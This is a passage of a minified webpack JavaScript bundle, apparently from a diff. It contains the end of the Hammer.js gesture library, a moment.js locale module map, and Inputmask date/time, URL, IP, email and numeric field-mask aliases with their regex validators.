PointerEventInput: Ye, - TouchMouseInput: Re, - SingleTouchInput: Pe, - Recognizer: ut, - AttrRecognizer: ht, - Tap: yt, - Pan: mt, - Swipe: gt, - Pinch: pt, - Rotate: _t, - Press: vt, - on: T, - off: x, - each: v, - merge: b, - extend: y, - assign: g, - inherit: w, - bindFn: M, - prefixed: A - }); - var xt = typeof r !== "undefined" ? r : typeof self !== "undefined" ? self : {}; - xt.Hammer = bt; - if (true) { - !(n = function () { - return bt - }.call(t, i, t, e), n !== o && (e.exports = n)) - } else if (typeof e != "undefined" && e.exports) { - e.exports = bt - } else { - r[s] = bt - } - })(window, document, "Hammer") -}, function (e, t) { - e.exports = function (e) { - if (!e.webpackPolyfill) { - e.deprecate = function () {}; - e.paths = []; - if (!e.children) e.children = []; - Object.defineProperty(e, "loaded", { - enumerable: true, - get: function () { - return e.l - } - }); - Object.defineProperty(e, "id", { - enumerable: true, - get: function () { - return e.i - } - }); - e.webpackPolyfill = 1 - } - return e - } -}, function (e, t, i) { - var n = { - "./af": 7, - "./af.js": 7, - "./ar": 8, - "./ar-dz": 9, - "./ar-dz.js": 9, - "./ar-kw": 10, - "./ar-kw.js": 10, - "./ar-ly": 11, - "./ar-ly.js": 11, - "./ar-ma": 12, - "./ar-ma.js": 12, - "./ar-sa": 13, - "./ar-sa.js": 13, - "./ar-tn": 14, - "./ar-tn.js": 14, - "./ar.js": 8, - "./az": 15, - "./az.js": 15, - "./be": 16, - "./be.js": 16, - "./bg": 17, - "./bg.js": 17, - "./bm": 18, - "./bm.js": 18, - "./bn": 19, - "./bn.js": 19, - "./bo": 20, - "./bo.js": 20, - "./br": 21, - "./br.js": 21, - "./bs": 22, - "./bs.js": 22, - "./ca": 23, - "./ca.js": 23, - "./cs": 24, - "./cs.js": 24, - "./cv": 25, - "./cv.js": 25, - "./cy": 26, - "./cy.js": 26, - "./da": 27, - "./da.js": 27, - "./de": 28, - "./de-at": 29, - "./de-at.js": 29, - "./de-ch": 30, - "./de-ch.js": 30, - "./de.js": 28, - "./dv": 31, - "./dv.js": 31, - "./el": 32, - "./el.js": 32, - "./en-SG": 33, - "./en-SG.js": 33, - "./en-au": 34, - "./en-au.js": 34, - "./en-ca": 35, - "./en-ca.js": 35, - "./en-gb": 36, - "./en-gb.js": 36, - "./en-ie": 37, - "./en-ie.js": 37, - "./en-il": 38, - "./en-il.js": 38, - "./en-nz": 39, - "./en-nz.js": 39, - "./eo": 40, - "./eo.js": 40, - "./es": 41, - "./es-do": 42, - "./es-do.js": 42, - "./es-us": 43, - "./es-us.js": 43, - "./es.js": 41, - "./et": 44, - "./et.js": 44, - "./eu": 45, - "./eu.js": 45, - "./fa": 46, - "./fa.js": 46, - "./fi": 47, - "./fi.js": 47, - "./fo": 48, - "./fo.js": 48, - "./fr": 49, - "./fr-ca": 50, - "./fr-ca.js": 50, - "./fr-ch": 51, - "./fr-ch.js": 51, - "./fr.js": 49, - "./fy": 52, - "./fy.js": 52, - "./ga": 53, - "./ga.js": 53, - "./gd": 54, - "./gd.js": 54, - "./gl": 55, - "./gl.js": 55, - "./gom-latn": 56, - "./gom-latn.js": 56, - "./gu": 57, - "./gu.js": 57, - "./he": 58, - "./he.js": 58, - "./hi": 59, - "./hi.js": 59, - "./hr": 60, - "./hr.js": 60, - "./hu": 61, - "./hu.js": 61, - "./hy-am": 62, - "./hy-am.js": 62, - "./id": 63, - "./id.js": 63, - "./is": 64, - "./is.js": 64, - "./it": 65, - "./it-ch": 66, - "./it-ch.js": 66, - "./it.js": 65, - "./ja": 67, - "./ja.js": 67, - "./jv": 68, - "./jv.js": 68, - "./ka": 69, - "./ka.js": 69, - "./kk": 70, - "./kk.js": 70, - "./km": 71, - "./km.js": 71, - "./kn": 72, - "./kn.js": 72, - "./ko": 73, - "./ko.js": 73, - "./ku": 74, - "./ku.js": 74, - "./ky": 75, - "./ky.js": 75, - "./lb": 76, - "./lb.js": 76, - "./lo": 77, - "./lo.js": 77, - "./lt": 78, - "./lt.js": 78, - "./lv": 79, - "./lv.js": 79, - "./me": 80, - "./me.js": 80, - "./mi": 81, - "./mi.js": 81, - "./mk": 82, - "./mk.js": 82, - "./ml": 83, - "./ml.js": 83, - "./mn": 84, - "./mn.js": 84, - "./mr": 85, - "./mr.js": 85, - "./ms": 86, - "./ms-my": 87, - "./ms-my.js": 87, - "./ms.js": 86, - "./mt": 88, - "./mt.js": 88, - "./my": 89, - "./my.js": 89, - "./nb": 90, - "./nb.js": 90, - "./ne": 91, - "./ne.js": 91, - "./nl": 92, - "./nl-be": 93, - "./nl-be.js": 93, - "./nl.js": 92, - "./nn": 94, - "./nn.js": 94, - "./pa-in": 95, - "./pa-in.js": 95, - "./pl": 96, - "./pl.js": 96, - "./pt": 97, - "./pt-br": 98, - "./pt-br.js": 98, - "./pt.js": 97, - "./ro": 99, - "./ro.js": 99, - "./ru": 100, - "./ru.js": 100, - "./sd": 101, - "./sd.js": 101, - "./se": 102, - "./se.js": 102, - "./si": 103, - "./si.js": 103, - "./sk": 104, - "./sk.js": 104, - "./sl": 105, - "./sl.js": 105, - "./sq": 106, - "./sq.js": 106, - "./sr": 107, - "./sr-cyrl": 108, - "./sr-cyrl.js": 108, - "./sr.js": 107, - "./ss": 109, - "./ss.js": 109, - "./sv": 110, - "./sv.js": 110, - "./sw": 111, - "./sw.js": 111, - "./ta": 112, - "./ta.js": 112, - "./te": 113, - "./te.js": 113, - "./tet": 114, - "./tet.js": 114, - "./tg": 115, - "./tg.js": 115, - "./th": 116, - "./th.js": 116, - "./tl-ph": 117, - "./tl-ph.js": 117, - "./tlh": 118, - "./tlh.js": 118, - "./tr": 119, - "./tr.js": 119, - "./tzl": 120, - "./tzl.js": 120, - "./tzm": 121, - "./tzm-latn": 122, - "./tzm-latn.js": 122, - "./tzm.js": 121, - "./ug-cn": 123, - "./ug-cn.js": 123, - "./uk": 124, - "./uk.js": 124, - "./ur": 125, - "./ur.js": 125, - "./uz": 126, - "./uz-latn": 127, - "./uz-latn.js": 127, - "./uz.js": 126, - "./vi": 128, - "./vi.js": 128, - "./x-pseudo": 129, - "./x-pseudo.js": 129, - "./yo": 130, - "./yo.js": 130, - "./zh-cn": 131, - "./zh-cn.js": 131, - "./zh-hk": 132, - "./zh-hk.js": 132, - "./zh-tw": 133, - "./zh-tw.js": 133 - }; - - function r(e) { - return i(a(e)) - } - - function a(e) { - var t = n[e]; - if (!(t + 1)) throw new Error("Cannot find module '" + e + "'."); - return t - } - r.keys = function e() { - return Object.keys(n) - }; - r.resolve = a; - e.exports = r; - r.id = 151 -}, function (e, t, i) { - i(153); - i(154); - i(155); - i(156); - e.exports = i(2) -}, function (e, t, i) { - var n, r, a; - ! function (s) { - true ? !(r = [i(1), i(2)], n = s, a = typeof n === "function" ? n.apply(t, r) : n, a !== undefined && (e.exports = a)) : "object" == typeof t ? e.exports = s(require("./dependencyLibs/inputmask.dependencyLib"), require("./inputmask")) : s(window.dependencyLib || jQuery, window.Inputmask) - }(function (e, t) { - function i(e) { - return isNaN(e) || 29 === new Date(e, 2, 0).getDate() - } - return t.extendAliases({ - "dd/mm/yyyy": { - mask: "1/2/y", - placeholder: "dd/mm/yyyy", - regex: { - val1pre: new RegExp("[0-3]"), - val1: new RegExp("0[1-9]|[12][0-9]|3[01]"), - val2pre: function (e) { - var i = t.escapeRegex.call(this, e); - return new RegExp("((0[1-9]|[12][0-9]|3[01])" + i + "[01])") - }, - val2: function (e) { - var i = t.escapeRegex.call(this, e); - return new RegExp("((0[1-9]|[12][0-9])" + i + "(0[1-9]|1[012]))|(30" + i + "(0[13-9]|1[012]))|(31" + i + "(0[13578]|1[02]))") - } - }, - leapday: "29/02/", - separator: "/", - yearrange: { - minyear: 1900, - maxyear: 2099 - }, - isInYearRange: function (e, t, i) { - if (isNaN(e)) return !1; - var n = parseInt(e.concat(t.toString().slice(e.length))), - r = parseInt(e.concat(i.toString().slice(e.length))); - return !isNaN(n) && (t <= n && n <= i) || !isNaN(r) && (t <= r && r <= i) - }, - determinebaseyear: function (e, t, i) { - var n = (new Date).getFullYear(); - if (e > n) return e; - if (t < n) { - for (var r = t.toString().slice(0, 2), a = t.toString().slice(2, 4); t < r + i;) r--; - var s = r + a; - return e > s ? e : s - } - if (e <= n && n <= t) { - for (var o = n.toString().slice(0, 2); t < o + i;) o--; - var l = o + i; - return l < e ? e : l - } - return n - }, - onKeyDown: function (i, n, r, a) { - var s = e(this); - if (i.ctrlKey && i.keyCode === t.keyCode.RIGHT) { - var o = new Date; - s.val(o.getDate().toString() + (o.getMonth() + 1).toString() + o.getFullYear().toString()), s.trigger("setvalue") - } - }, - getFrontValue: function (e, t, i) { - for (var n = 0, r = 0, a = 0; a < e.length && "2" !== e.charAt(a); a++) { - var s = i.definitions[e.charAt(a)]; - s ? (n += r, r = s.cardinality) : r++ - } - return t.join("").substr(n, r) - }, - postValidation: function (e, t, n) { - var r, a, s = e.join(""); - return 0 === n.mask.indexOf("y") ? (a = s.substr(0, 4), r = s.substring(4, 10)) : (a = s.substring(6, 10), r = s.substr(0, 6)), t && (r !== n.leapday || i(a)) - }, - definitions: { - 1: { - validator: function (e, t, i, n, r) { - var a = r.regex.val1.test(e); - return n || a || e.charAt(1) !== r.separator && -1 === "-./".indexOf(e.charAt(1)) || !(a = r.regex.val1.test("0" + e.charAt(0))) ? a : (t.buffer[i - 1] = "0", { - refreshFromBuffer: { - start: i - 1, - end: i - }, - pos: i, - c: e.charAt(0) - }) - }, - cardinality: 2, - prevalidator: [{ - validator: function (e, t, i, n, r) { - var a = e; - isNaN(t.buffer[i + 1]) || (a += t.buffer[i + 1]); - var s = 1 === a.length ? r.regex.val1pre.test(a) : r.regex.val1.test(a); - if (s && t.validPositions[i] && (r.regex.val2(r.separator).test(e + t.validPositions[i].input) || (t.validPositions[i].input = "0" === e ? "1" : "0")), !n && !s) { - if (s = r.regex.val1.test(e + "0")) return t.buffer[i] = e, t.buffer[++i] = "0", { - pos: i, - c: "0" - }; - if (s = r.regex.val1.test("0" + e)) return t.buffer[i] = "0", i++, { - pos: i - } - } - return s - }, - cardinality: 1 - }] - }, - 2: { - validator: function (e, t, i, n, r) { - var a = r.getFrontValue(t.mask, t.buffer, r); - 1 !== a.indexOf(r.placeholder[0]) && (a = "01" + r.separator); - var s = r.regex.val2(r.separator).test(a + e); - return n || s || e.charAt(1) !== r.separator && -1 === "-./".indexOf(e.charAt(1)) || !(s = r.regex.val2(r.separator).test(a + "0" + e.charAt(0))) ? s : (t.buffer[i - 1] = "0", { - refreshFromBuffer: { - start: i - 1, - end: i - }, - pos: i, - c: e.charAt(0) - }) - }, - cardinality: 2, - prevalidator: [{ - validator: function (e, t, i, n, r) { - isNaN(t.buffer[i + 1]) || (e += t.buffer[i + 1]); - var a = r.getFrontValue(t.mask, t.buffer, r); - 1 !== a.indexOf(r.placeholder[0]) && (a = "01" + r.separator); - var s = 1 === e.length ? r.regex.val2pre(r.separator).test(a + e) : r.regex.val2(r.separator).test(a + e); - return s && t.validPositions[i] && (r.regex.val2(r.separator).test(e + t.validPositions[i].input) || (t.validPositions[i].input = "0" === e ? "1" : "0")), n || s || !(s = r.regex.val2(r.separator).test(a + "0" + e)) ? s : (t.buffer[i] = "0", i++, { - pos: i - }) - }, - cardinality: 1 - }] - }, - y: { - validator: function (e, t, i, n, r) { - return r.isInYearRange(e, r.yearrange.minyear, r.yearrange.maxyear) - }, - cardinality: 4, - prevalidator: [{ - validator: function (e, t, i, n, r) { - var a = r.isInYearRange(e, r.yearrange.minyear, r.yearrange.maxyear); - if (!n && !a) { - var s = r.determinebaseyear(r.yearrange.minyear, r.yearrange.maxyear, e + "0").toString().slice(0, 1); - if (a = r.isInYearRange(s + e, r.yearrange.minyear, r.yearrange.maxyear)) return t.buffer[i++] = s.charAt(0), { - pos: i - }; - if (s = r.determinebaseyear(r.yearrange.minyear, r.yearrange.maxyear, e + "0").toString().slice(0, 2), a = r.isInYearRange(s + e, r.yearrange.minyear, r.yearrange.maxyear)) return t.buffer[i++] = s.charAt(0), t.buffer[i++] = s.charAt(1), { - pos: i - } - } - return a - }, - cardinality: 1 - }, { - validator: function (e, t, i, n, r) { - var a = r.isInYearRange(e, r.yearrange.minyear, r.yearrange.maxyear); - if (!n && !a) { - var s = r.determinebaseyear(r.yearrange.minyear, r.yearrange.maxyear, e).toString().slice(0, 2); - if (a = r.isInYearRange(e[0] + s[1] + e[1], r.yearrange.minyear, r.yearrange.maxyear)) return t.buffer[i++] = s.charAt(1), { - pos: i - }; - if (s = r.determinebaseyear(r.yearrange.minyear, r.yearrange.maxyear, e).toString().slice(0, 2), a = r.isInYearRange(s + e, r.yearrange.minyear, r.yearrange.maxyear)) return t.buffer[i - 1] = s.charAt(0), t.buffer[i++] = s.charAt(1), t.buffer[i++] = e.charAt(0), { - refreshFromBuffer: { - start: i - 3, - end: i - }, - pos: i - } - } - return a - }, - cardinality: 2 - }, { - validator: function (e, t, i, n, r) { - return r.isInYearRange(e, r.yearrange.minyear, r.yearrange.maxyear) - }, - cardinality: 3 - }] - } - }, - insertMode: !1, - autoUnmask: !1 - }, - "mm/dd/yyyy": { - placeholder: "mm/dd/yyyy", - alias: "dd/mm/yyyy", - regex: { - val2pre: function (e) { - var i = t.escapeRegex.call(this, e); - return new RegExp("((0[13-9]|1[012])" + i + "[0-3])|(02" + i + "[0-2])") - }, - val2: function (e) { - var i = t.escapeRegex.call(this, e); - return new RegExp("((0[1-9]|1[012])" + i + "(0[1-9]|[12][0-9]))|((0[13-9]|1[012])" + i + "30)|((0[13578]|1[02])" + i + "31)") - }, - val1pre: new RegExp("[01]"), - val1: new RegExp("0[1-9]|1[012]") - }, - leapday: "02/29/", - onKeyDown: function (i, n, r, a) { - var s = e(this); - if (i.ctrlKey && i.keyCode === t.keyCode.RIGHT) { - var o = new Date; - s.val((o.getMonth() + 1).toString() + o.getDate().toString() + o.getFullYear().toString()), s.trigger("setvalue") - } - } - }, - "yyyy/mm/dd": { - mask: "y/1/2", - placeholder: "yyyy/mm/dd", - alias: "mm/dd/yyyy", - leapday: "/02/29", - onKeyDown: function (i, n, r, a) { - var s = e(this); - if (i.ctrlKey && i.keyCode === t.keyCode.RIGHT) { - var o = new Date; - s.val(o.getFullYear().toString() + (o.getMonth() + 1).toString() + o.getDate().toString()), s.trigger("setvalue") - } - } - }, - "dd.mm.yyyy": { - mask: "1.2.y", - placeholder: "dd.mm.yyyy", - leapday: "29.02.", - separator: ".", - alias: "dd/mm/yyyy" - }, - "dd-mm-yyyy": { - mask: "1-2-y", - placeholder: "dd-mm-yyyy", - leapday: "29-02-", - separator: "-", - alias: "dd/mm/yyyy" - }, - "mm.dd.yyyy": { - mask: "1.2.y", - placeholder: "mm.dd.yyyy", - leapday: "02.29.", - separator: ".", - alias: "mm/dd/yyyy" - }, - "mm-dd-yyyy": { - mask: "1-2-y", - placeholder: "mm-dd-yyyy", - leapday: "02-29-", - separator: "-", - alias: "mm/dd/yyyy" - }, - "yyyy.mm.dd": { - mask: "y.1.2", - placeholder: "yyyy.mm.dd", - leapday: ".02.29", - separator: ".", - alias: "yyyy/mm/dd" - }, - "yyyy-mm-dd": { - mask: "y-1-2", - placeholder: "yyyy-mm-dd", - leapday: "-02-29", - separator: "-", - alias: "yyyy/mm/dd" - }, - datetime: { - mask: "1/2/y h:s", - placeholder: "dd/mm/yyyy hh:mm", - alias: "dd/mm/yyyy", - regex: { - hrspre: new RegExp("[012]"), - hrs24: new RegExp("2[0-4]|1[3-9]"), - hrs: new RegExp("[01][0-9]|2[0-4]"), - ampm: new RegExp("^[a|p|A|P][m|M]"), - mspre: new RegExp("[0-5]"), - ms: new RegExp("[0-5][0-9]") - }, - timeseparator: ":", - hourFormat: "24", - definitions: { - h: { - validator: function (e, t, i, n, r) { - if ("24" === r.hourFormat && 24 === parseInt(e, 10)) return t.buffer[i - 1] = "0", t.buffer[i] = "0", { - refreshFromBuffer: { - start: i - 1, - end: i - }, - c: "0" - }; - var a = r.regex.hrs.test(e); - if (!n && !a && (e.charAt(1) === r.timeseparator || -1 !== "-.:".indexOf(e.charAt(1))) && (a = r.regex.hrs.test("0" + e.charAt(0)))) return t.buffer[i - 1] = "0", t.buffer[i] = e.charAt(0), i++, { - refreshFromBuffer: { - start: i - 2, - end: i - }, - pos: i, - c: r.timeseparator - }; - if (a && "24" !== r.hourFormat && r.regex.hrs24.test(e)) { - var s = parseInt(e, 10); - return 24 === s ? (t.buffer[i + 5] = "a", t.buffer[i + 6] = "m") : (t.buffer[i + 5] = "p", t.buffer[i + 6] = "m"), (s -= 12) < 10 ? (t.buffer[i] = s.toString(), t.buffer[i - 1] = "0") : (t.buffer[i] = s.toString().charAt(1), t.buffer[i - 1] = s.toString().charAt(0)), { - refreshFromBuffer: { - start: i - 1, - end: i + 6 - }, - c: t.buffer[i] - } - } - return a - }, - cardinality: 2, - prevalidator: [{ - validator: function (e, t, i, n, r) { - var a = r.regex.hrspre.test(e); - return n || a || !(a = r.regex.hrs.test("0" + e)) ? a : (t.buffer[i] = "0", i++, { - pos: i - }) - }, - cardinality: 1 - }] - }, - s: { - validator: "[0-5][0-9]", - cardinality: 2, - prevalidator: [{ - validator: function (e, t, i, n, r) { - var a = r.regex.mspre.test(e); - return n || a || !(a = r.regex.ms.test("0" + e)) ? a : (t.buffer[i] = "0", i++, { - pos: i - }) - }, - cardinality: 1 - }] - }, - t: { - validator: function (e, t, i, n, r) { - return r.regex.ampm.test(e + "m") - }, - casing: "lower", - cardinality: 1 - } - }, - insertMode: !1, - autoUnmask: !1 - }, - datetime12: { - mask: "1/2/y h:s t\\m", - placeholder: "dd/mm/yyyy hh:mm xm", - alias: "datetime", - hourFormat: "12" - }, - "mm/dd/yyyy hh:mm xm": { - mask: "1/2/y h:s t\\m", - placeholder: "mm/dd/yyyy hh:mm xm", - alias: "datetime12", - regex: { - val2pre: function (e) { - var i = t.escapeRegex.call(this, e); - return new RegExp("((0[13-9]|1[012])" + i + "[0-3])|(02" + i + "[0-2])") - }, - val2: function (e) { - var i = t.escapeRegex.call(this, e); - return new RegExp("((0[1-9]|1[012])" + i + "(0[1-9]|[12][0-9]))|((0[13-9]|1[012])" + i + "30)|((0[13578]|1[02])" + i + "31)") - }, - val1pre: new RegExp("[01]"), - val1: new RegExp("0[1-9]|1[012]") - }, - leapday: "02/29/", - onKeyDown: function (i, n, r, a) { - var s = e(this); - if (i.ctrlKey && i.keyCode === t.keyCode.RIGHT) { - var o = new Date; - s.val((o.getMonth() + 1).toString() + o.getDate().toString() + o.getFullYear().toString()), s.trigger("setvalue") - } - } - }, - "hh:mm t": { - mask: "h:s t\\m", - placeholder: "hh:mm xm", - alias: "datetime", - hourFormat: "12" - }, - "h:s t": { - mask: "h:s t\\m", - placeholder: "hh:mm xm", - alias: "datetime", - hourFormat: "12" - }, - "hh:mm:ss": { - mask: "h:s:s", - placeholder: "hh:mm:ss", - alias: "datetime", - autoUnmask: !1 - }, - "hh:mm": { - mask: "h:s", - placeholder: "hh:mm", - alias: "datetime", - autoUnmask: !1 - }, - date: { - alias: "dd/mm/yyyy" - }, - "mm/yyyy": { - mask: "1/y", - placeholder: "mm/yyyy", - leapday: "donotuse", - separator: "/", - alias: "mm/dd/yyyy" - }, - shamsi: { - regex: { - val2pre: function (e) { - var i = t.escapeRegex.call(this, e); - return new RegExp("((0[1-9]|1[012])" + i + "[0-3])") - }, - val2: function (e) { - var i = t.escapeRegex.call(this, e); - return new RegExp("((0[1-9]|1[012])" + i + "(0[1-9]|[12][0-9]))|((0[1-9]|1[012])" + i + "30)|((0[1-6])" + i + "31)") - }, - val1pre: new RegExp("[01]"), - val1: new RegExp("0[1-9]|1[012]") - }, - yearrange: { - minyear: 1300, - maxyear: 1499 - }, - mask: "y/1/2", - leapday: "/12/30", - placeholder: "yyyy/mm/dd", - alias: "mm/dd/yyyy", - clearIncomplete: !0 - }, - "yyyy-mm-dd hh:mm:ss": { - mask: "y-1-2 h:s:s", - placeholder: "yyyy-mm-dd hh:mm:ss", - alias: "datetime", - separator: "-", - leapday: "-02-29", - regex: { - val2pre: function (e) { - var i = t.escapeRegex.call(this, e); - return new RegExp("((0[13-9]|1[012])" + i + "[0-3])|(02" + i + "[0-2])") - }, - val2: function (e) { - var i = t.escapeRegex.call(this, e); - return new RegExp("((0[1-9]|1[012])" + i + "(0[1-9]|[12][0-9]))|((0[13-9]|1[012])" + i + "30)|((0[13578]|1[02])" + i + "31)") - }, - val1pre: new RegExp("[01]"), - val1: new RegExp("0[1-9]|1[012]") - }, - onKeyDown: function (e, t, i, n) {} - } - }), t - }) -}, function (e, t, i) { - var n, r, a; - ! function (s) { - true ? !(r = [i(1), i(2)], n = s, a = typeof n === "function" ? n.apply(t, r) : n, a !== undefined && (e.exports = a)) : "object" == typeof t ? e.exports = s(require("./dependencyLibs/inputmask.dependencyLib"), require("./inputmask")) : s(window.dependencyLib || jQuery, window.Inputmask) - }(function (e, t) { - return t.extendDefinitions({ - A: { - validator: "[A-Za-zА-яЁёÀ-ÿµ]", - cardinality: 1, - casing: "upper" - }, - "&": { - validator: "[0-9A-Za-zА-яЁёÀ-ÿµ]", - cardinality: 1, - casing: "upper" - }, - "#": { - validator: "[0-9A-Fa-f]", - cardinality: 1, - casing: "upper" - } - }), t.extendAliases({ - url: { - definitions: { - i: { - validator: ".", - cardinality: 1 - } - }, - mask: "(\\http://)|(\\http\\s://)|(ftp://)|(ftp\\s://)i{+}", - insertMode: !1, - autoUnmask: !1, - inputmode: "url" - }, - ip: { - mask: "i[i[i]].i[i[i]].i[i[i]].i[i[i]]", - definitions: { - i: { - validator: function (e, t, i, n, r) { - return i - 1 > -1 && "." !== t.buffer[i - 1] ? (e = t.buffer[i - 1] + e, e = i - 2 > -1 && "." !== t.buffer[i - 2] ? t.buffer[i - 2] + e : "0" + e) : e = "00" + e, new RegExp("25[0-5]|2[0-4][0-9]|[01][0-9][0-9]").test(e) - }, - cardinality: 1 - } - }, - onUnMask: function (e, t, i) { - return e - }, - inputmode: "numeric" - }, - email: { - mask: "*{1,64}[.*{1,64}][.*{1,64}][.*{1,63}]@-{1,63}.-{1,63}[.-{1,63}][.-{1,63}]", - greedy: !1, - onBeforePaste: function (e, t) { - return (e = e.toLowerCase()).replace("mailto:", "") - }, - definitions: { - "*": { - validator: "[0-9A-Za-z!#$%&'*+/=?^_`{|}~-]", - cardinality: 1, - casing: "lower" - }, - "-": { - validator: "[0-9A-Za-z-]", - cardinality: 1, - casing: "lower" - } - }, - onUnMask: function (e, t, i) { - return e - }, - inputmode: "email" - }, - mac: { - mask: "##:##:##:##:##:##" - }, - vin: { - mask: "V{13}9{4}", - definitions: { - V: { - validator: "[A-HJ-NPR-Za-hj-npr-z\\d]", - cardinality: 1, - casing: "upper" - } - }, - clearIncomplete: !0, - autoUnmask: !0 - } - }), t - }) -}, function (e, t, i) { - var n, r, a; - ! function (s) { - true ? !(r = [i(1), i(2)], n = s, a = typeof n === "function" ? n.apply(t, r) : n, a !== undefined && (e.exports = a)) : "object" == typeof t ? e.exports = s(require("./dependencyLibs/inputmask.dependencyLib"), require("./inputmask")) : s(window.dependencyLib || jQuery, window.Inputmask) - }(function (e, t, i) { - function n(e, i) { - for (var n = "", r = 0; r < e.length; r++) t.prototype.definitions[e.charAt(r)] || i.definitions[e.charAt(r)] || i.optionalmarker.start === e.charAt(r) || i.optionalmarker.end === e.charAt(r) || i.quantifiermarker.start === e.charAt(r) || i.quantifiermarker.end === e.charAt(r) || i.groupmarker.start === e.charAt(r) || i.groupmarker.end === e.charAt(r) || i.alternatormarker === e.charAt(r) ? n += "\\" + e.charAt(r) : n += e.charAt(r); - return n - } - return t.extendAliases({ - numeric: { - mask: function (e) { - if (0 !== e.repeat && isNaN(e.integerDigits) && (e.integerDigits = e.repeat), e.repeat = 0, e.groupSeparator === e.radixPoint && ("." === e.radixPoint ? e.groupSeparator = "," : "," === e.radixPoint ? e.groupSeparator = "." : e.groupSeparator = ""), " " === e.groupSeparator && (e.skipOptionalPartCharacter = i), e.autoGroup = e.autoGroup && "" !== e.groupSeparator, e.autoGroup && ("string" == typeof e.groupSize && isFinite(e.groupSize) && (e.groupSize = parseInt(e.groupSize)), isFinite(e.integerDigits))) { - var t = Math.floor(e.integerDigits / e.groupSize), - r = e.integerDigits % e.groupSize; - e.integerDigits = parseInt(e.integerDigits) + (0 === r ? t - 1 : t), e.integerDigits < 1 && (e.integerDigits = "*") - } - e.placeholder.length > 1 && (e.placeholder = e.placeholder.charAt(0)), "radixFocus" === e.positionCaretOnClick && "" === e.placeholder && !1 === e.integerOptional && (e.positionCaretOnClick = "lvp"), e.definitions[";"] = e.definitions["~"], e.definitions[";"].definitionSymbol = "~", !0 === e.numericInput && (e.positionCaretOnClick = "radixFocus" === e.positionCaretOnClick ? "lvp" : e.positionCaretOnClick, e.digitsOptional = !1, isNaN(e.digits) && (e.digits = 2), e.decimalProtect = !1); - var a = "[+]"; - if (a += n(e.prefix, e), !0 === e.integerOptional ? a += "~{1," + e.integerDigits + "}" : a += "~{" + e.integerDigits + "}", e.digits !== i) { - e.radixPointDefinitionSymbol = e.decimalProtect ? ":" : e.radixPoint; - var s = e.digits.toString().split(","); - isFinite(s[0] && s[1] && isFinite(s[1])) ? a += e.radixPointDefinitionSymbol + ";{" + e.digits + "}" : (isNaN(e.digits) || parseInt(e.digits) > 0) && (e.digitsOptional ? a += "[" + e.radixPointDefinitionSymbol + ";{1," + e.digits + "}]" : a += e.radixPointDefinitionSymbol + ";{" + e.digits + "}") - } - return a += n(e.suffix, e), a += "[-]", e.greedy = !1, a - }, - placeholder: "", - greedy: !1, - digits: "*", - digitsOptional: !0, - enforceDigitsOnBlur: !1, - radixPoint: ".", - positionCaretOnClick: "radixFocus", - groupSize: 3, - groupSeparator: "", - autoGroup: !1, - allowMinus: !0, - negationSymbol: { - front: "-", - back: "" - }, - integerDigits: "+", - integerOptional: !0, - prefix: "", - suffix: "", - rightAlign: !0, - decimalProtect: !0, - min: null, - max: null, - step: 1, - insertMode: !0, - autoUnmask: !1, - unmaskAsNumber: !1, - inputmode: "numeric", - preValidation: function (t, n, r, a, s) { - if ("-" === r || r === s.negationSymbol.front) return !0 === s.allowMinus && (s.isNegative = s.isNegative === i || !s.isNegative, "" === t.join("") || { - caret: n, - dopost: !0 - }); - if (!1 === a && r === s.radixPoint && s.digits !== i && (isNaN(s.digits) || parseInt(s.digits) > 0)) { - var o = e.inArray(s.radixPoint, t); - if (-1 !== o) return !0 === s.numericInput ? n === o : { - caret: o + 1 - } - } - return !0 - }, - postValidation: function (n, r, a) { - var s = a.suffix.split(""), - o = a.prefix.split(""); - if (r.pos === i && r.caret !== i && !0 !== r.dopost) return r; - var l = r.caret !== i ? r.caret : r.pos, - u = n.slice(); - a.numericInput && (l = u.length - l - 1, u = u.reverse()); - var d = u[l]; - if (d === a.groupSeparator && (d = u[l += 1]), l === u.length - a.suffix.length - 1 && d === a.radixPoint) return r; - d !== i && d !== a.radixPoint && d !== a.negationSymbol.front && d !== a.negationSymbol.back && (u[l] = "?", a.prefix.length > 0 && l >= (!1 === a.isNegative ? 1 : 0) && l < a.prefix.length - 1 + (!1 === a.isNegative ? 1 : 0) ? o[l - (!1 === a.isNegative ? 1 : 0)] = "?" : a.suffix.length > 0 && l >= u.length - a.suffix.length - (!1 === a.isNegative ? 1 : 0) && (s[l - (u.length - a.suffix.length - (!1 === a.isNegative ? 1 : 0))] = "?")), o = o.join(""), s = s.join(""); - var f = u.join("").replace(o, ""); - if (f = f.replace(s, ""), f = f.replace(new RegExp(t.escapeRegex(a.groupSeparator), "g"), ""), f = f.replace(new RegExp("[-" + t.escapeRegex(a.negationSymbol.front) + "]", "g"), ""), f = f.replace(new RegExp(t.escapeRegex(a.negationSymbol.back) + "$"), ""), isNaN(a.placeholder) && (f = f.replace(new RegExp(t.escapeRegex(a.placeholder), "g"), "")), f.length > 1 && 1 !== f.indexOf(a.radixPoint) && ("0" === d && (f = f.replace(/^\?/g, "")), f = f.replace(/^0/g, "")), f.charAt(0) === a.radixPoint && "" !== a.radixPoint && !0 !== a.numericInput && (f = "0" + f), "" !== f) { - if (f = f.split(""), (!a.digitsOptional || a.enforceDigitsOnBlur && "blur" === r.event) && isFinite(a.digits)) { - var c = e.inArray(a.radixPoint, f), - h = e.inArray(a.radixPoint, u); - 1 === c && (f.push(a.radixPoint), c = f.length - 1); - for (var m = 1; m <= a.digits; m++) a.digitsOptional && (!a.enforceDigitsOnBlur || "blur" !== r.event) || f[c + m] !== i && f[c + m] !== a.placeholder.charAt(0) ? -1 !== h && u[h + m] !== i && (f[c + m] = f[c + m] || u[h + m]) : f[c + m] = r.placeholder || a.placeholder.charAt(0) - } - if (!0 !== a.autoGroup || "" === a.groupSeparator || d === a.radixPoint && r.pos === i && !r.dopost) f = f.join(""); - else { - var p = f[f.length - 1] === a.radixPoint && r.c === a.radixPoint; - f = t(function (e, t) { - var i = ""; - if (i += "(" + t.groupSeparator + "*{" + t.groupSize + "}){*}", "" !== t.radixPoint) { - var n = e.join("").split(t.radixPoint); - n[1] && (i += t.radixPoint + "*{" + n[1].match(/^\d*\??\d*/)[0].length + "}") - } - return i - }(f, a), { - numericInput: !0, - jitMasking: !0, - definitions: { - "*": { - validator: "[0-9?]", - cardinality: 1 - } - } - }).format(f.join("")), p && (f += a.radixPoint), f.charAt(0) === a.groupSeparator && f.substr(1) - } - } - if (a.isNegative && "blur" === r.event && (a.isNegative = "0" !== f), f = o + f, f += s, a.isNegative && (f = a.negationSymbol.front + f, f += a.negationSymbol.back), f = f.split(""), d !== i) - if (d !== a.radixPoint && d !== a.negationSymbol.front && d !== 